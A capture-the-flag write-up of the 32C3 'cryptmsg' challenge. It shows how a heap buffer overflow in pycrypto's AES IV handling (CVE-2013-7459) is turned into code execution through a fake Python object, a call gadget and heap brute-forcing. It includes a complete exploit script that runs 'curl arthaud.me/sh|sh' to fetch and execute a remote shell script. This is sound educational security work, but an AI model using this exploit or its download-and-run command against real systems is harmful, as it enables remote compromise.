Outils pour utilisateurs

Outils du site


ctf:public:32c3:cryptmsg

cryptmsg - Writeup by Maxima

Challenge

Can you find the bug?

http://136.243.194.56:8000/

Solution

The website allows us to encrypt and decrypt messages using AES. The encryption is performed by cryptmsg.py, using the python library pycrypto. After a few searches, I found out that there was a bug in pycrypto: https://github.com/dlitz/pycrypto/issues/176. We can use this vulnerability to get a shell.

I first tried to guess the architecture on the server. I managed to get it by causing a python stacktrace:

curl "http://136.243.194.56:8000/cgi-bin/cryptmsg.py?what=enc&msg=AAAAAAAAAAAAAAAA&key=AAAAAAAAAAAAAAAA&mode=42&iv=AAAAAAAAAAAAAAAA"

In the stacktrace, the path to the shared object is /usr/lib/pyth…t-packages/Crypto/Cipher/_AES.i386-linux-gnu.so, se we know that the architecture is i386 (x86 32bits). I also assumed that the server runs on Ubuntu Server 15.10, since that was what they were running on some of their other challenge servers. I quickly set up a virtual machine to have the same environment.

Then I dove more deeply in the source code. Here is the code in src/block_templace.c in pycrypto source code:

static ALGobject *
ALGnew(PyObject *self, PyObject *args, PyObject *kwdict)
{
	unsigned char *key, *IV;
	ALGobject * new=NULL;
	int keylen, IVlen=0, mode=MODE_ECB, segment_size=0;
	PyObject *counter = NULL;
	int counter_shortcut = 0;
 
        // [...]
 
	/* Set default values */
	if (!PyArg_ParseTupleAndKeywords(args, kwdict, "s#|is#Oi",
					 kwlist,
					 &key, &keylen, &mode, &IV, &IVlen,
					 &counter, &segment_size)) 
	{
		return NULL;
	}
 
	// [...]
        new = newALGobject();
        // [...]
 
	memset(new->IV, 0, BLOCK_SIZE);
	memset(new->oldCipher, 0, BLOCK_SIZE);
	memcpy(new->IV, IV, IVlen); // buffer overflow!
	new->mode = mode;
	new->count=BLOCK_SIZE;   /* stores how many bytes in new->oldCipher have been used */
	return new;
}

And here is the ALGobject structure:

#define BLOCK_SIZE 16
 
typedef struct 
{
	PyObject_HEAD 
	int mode, count, segment_size;
	unsigned char IV[BLOCK_SIZE], oldCipher[BLOCK_SIZE];
	PyObject *counter;
	int counter_shortcut;
	block_state st;
} ALGobject;

Thus there is a heap buffer overflow on IV. We can basically write as many bytes as we want on a part of the heap.

The next step is to get the control of the execution flow. The idea is to overwrite the counter pointer to introduce a fake python object. Here is what a python object structure looks like:

typedef struct _object {
    Py_ssize_t ob_refcnt;
    struct _typeobject *ob_type;
} PyObject;

The first element is the reference counter on this object. The second element is a pointer on the type of the object. Here is the type structure:

typedef struct _typeobject {  
    Py_ssize_t ob_refcnt;
    struct _typeobject *ob_type;
    Py_ssize_t ob_size; /* Number of items in variable part */
 
    const char *tp_name; /* For printing, in format "<module>.<name>" */
    Py_ssize_t tp_basicsize, tp_itemsize; /* For allocation */
 
    /* Methods to implement standard operations */
 
    destructor tp_dealloc;
    printfunc tp_print;
    getattrfunc tp_getattr;
    setattrfunc tp_setattr;
    cmpfunc tp_compare;
    reprfunc tp_repr;
 
    // [...]
} PyTypeObject;

We are going to create a fake object associated to a fake type. When the object gets deallocated, the function pointer tp_dealloc will be used. In the fake type, we will put a pointer on a gadget to get a shell. Fortunately, system() is available in the PLT.

I found a nice gadget in the python binary, using ropper:

   0x81580d6:	push   edx
   0x81580d7:	call   DWORD PTR [eax+0x18]

When the object is deallocated, edx contains the address of the type, and eax contains the address of the object. We can create a fake object and a fake type that will execute a command:

def p(v):
    return struct.pack('<I', v)
 
fake_object = p(1) # ref counter
fake_object += p(fake_type_addr) # type object
fake_object += b'\x00' * 16
fake_object += p(system_addr)
 
fake_type = cmd.ljust(24, b'\x00')
fake_type += p(call_gadget)

Here, call_gadget = 0x81580d6 and system_addr = 0x0805a2f0 (you can get them easily using gdb). The problem is that we don't know yet where our fake_object and fake_type will be because of ASLR. The heap is mapped to a random address. Because the server runs on a 32bits architecture, we know that we can bruteforce it. We will put our fake_object and fake_type a lot of times in the memory, and use for fake_object_addr a potential address right in the middle of the heap.

I will execute the command curl arthaud.me/sh|sh that'll give me a shell. Here is my final script:

#!/usr/bin/env python3
import struct
import requests
 
 
def p(v):
    return struct.pack('<I', v)
 
cmd = b'curl arthaud.me/sh|sh\x00'
 
system_addr = 0x0805a2f0
call_gadget = 0x81580d6 # push edx; call [eax + 0x18]
fake_object_addr = 0x84d673c
fake_type_addr = fake_object_addr + 0x1c
 
fake_object = p(1) # ref counter
fake_object += p(fake_type_addr) # type object
fake_object += b'\x00' * 16
fake_object += p(system_addr)
 
assert len(cmd) <= 24
fake_type = cmd.ljust(24, b'\x00')
fake_type += p(call_gadget)
 
payload = b'I' * 32
payload += p(fake_object_addr)
 
data = (fake_object + fake_type) * 500
 
qs = 'key=' + 'A' * 16
qs += '&mode=1'
qs += '&iv=' + ''.join('%%%02x' % c for c in payload)
qs += '&x=' + ''.join('%%%02x' % c for c in data)
 
i = 1
while True:
    print('\rAttempt %d' % i, end='')
    i += 1
    requests.get('http://136.243.194.56:8000/cgi-bin/cryptmsg.py?%s' % qs)

You can also use Ricky Zhou exploit.

After a few hours, I finally got a shell!

EDIT: This vulnerability in pycrypto has been assigned CVE-2013-7459

Author

Maxime Arthaud 2016/01/07 14:11

A special thanks to Ricky Zhou for his help.

ctf/public/32c3/cryptmsg.txt · Dernière modification: 2017/02/21 00:10 par arthaum